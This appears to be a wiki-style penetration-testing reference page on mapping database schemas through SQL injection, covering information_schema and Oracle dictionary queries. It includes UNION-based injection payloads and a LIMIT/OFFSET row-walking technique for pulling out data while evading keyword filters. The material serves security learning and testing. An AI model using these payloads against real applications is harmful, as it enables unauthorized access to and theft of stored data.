Enumerate Database Schemas
After fingerprinting the DBMS and confirming injection, the next step is mapping the database structure: which databases exist, which tables they contain, and what columns each table has. This metadata is the roadmap for data extraction.
information_schema (MySQL, PostgreSQL, MSSQL)
Most modern relational databases implement the SQL standard information_schema — a set of read-only views describing the database’s own structure.
List all databases / schemas
SELECT schema_name FROM information_schema.schemata;List tables in a database
SELECT table_schema, table_name FROM information_schema.tables
WHERE table_schema = 'target_db';List columns in a table
SELECT column_name, data_type FROM information_schema.columns
WHERE table_name = 'users';Useful information_schema views
| View | Contents |
|---|---|
information_schema.schemata | All databases/schemas |
information_schema.tables | All tables with schema, type (BASE TABLE / VIEW) |
information_schema.columns | All columns with data types, nullability, defaults |
information_schema.table_constraints | Primary keys, foreign keys, unique constraints |
information_schema.key_column_usage | Column-level constraint details |
information_schema.user_privileges | Global privileges per user (MySQL) |
Oracle equivalents
Oracle does not implement information_schema. Use its data dictionary views instead:
-- List tables accessible to the current user
SELECT owner, table_name FROM all_tables;
-- List columns in a table
SELECT column_name, data_type FROM all_tab_columns
WHERE table_name = 'USERS';
-- List database links (remote database connections)
SELECT * FROM all_db_links;Key Oracle dictionary views:
| View | Contents |
|---|---|
all_tables | Tables the current user can access |
all_tab_columns | Columns in accessible tables |
user_tables | Tables owned by the current user |
user_tab_columns | Columns in owned tables |
dba_tables | All tables (requires DBA privilege) |
all_db_links | Database links to remote databases |
Delivery through SQLi
Through a UNION-based injection, schema enumeration looks like:
' UNION SELECT table_name, NULL FROM information_schema.tables--
' UNION SELECT column_name, data_type FROM information_schema.columns
WHERE table_name='users'--Use GROUP_CONCAT() in MySQL or STRING_AGG() in PostgreSQL to collapse multiple rows into a single output row when the application only displays one result.
When GROUP_CONCAT() is unavailable (filtered keywords, length limits, or an injection point that truncates), fall back to LIMIT n OFFSET m row-walking to exfiltrate one row at a time, iterating OFFSET until the query returns nothing:
' UNION SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET 0-- -- first DB
' UNION SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET 1-- -- second DB
' UNION SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET 2-- -- ...The same pattern works for tables (information_schema.tables), columns (information_schema.columns), and data rows. It is slower than GROUP_CONCAT() but uses only universally-supported SQL and bypasses keyword filters that catch the aggregate function.
Sources
- Examining the database in SQL injection attacks — PortSwigger
- MySQL 8.0 Reference Manual — INFORMATION_SCHEMA Tables
- PostgreSQL Documentation — The Information Schema
- Oracle Database Reference — ALL_DB_LINKS
See also
- sql-injection-attacks — the hub page for SQLi types and defense
- database-fingerprinting — identify the DBMS first
- common-sql-variables — useful variables for recon
- sqlmap — automates schema enumeration with
--dbs,--tables,--columns - mysql-into-outfile-webshell — escalation after enumeration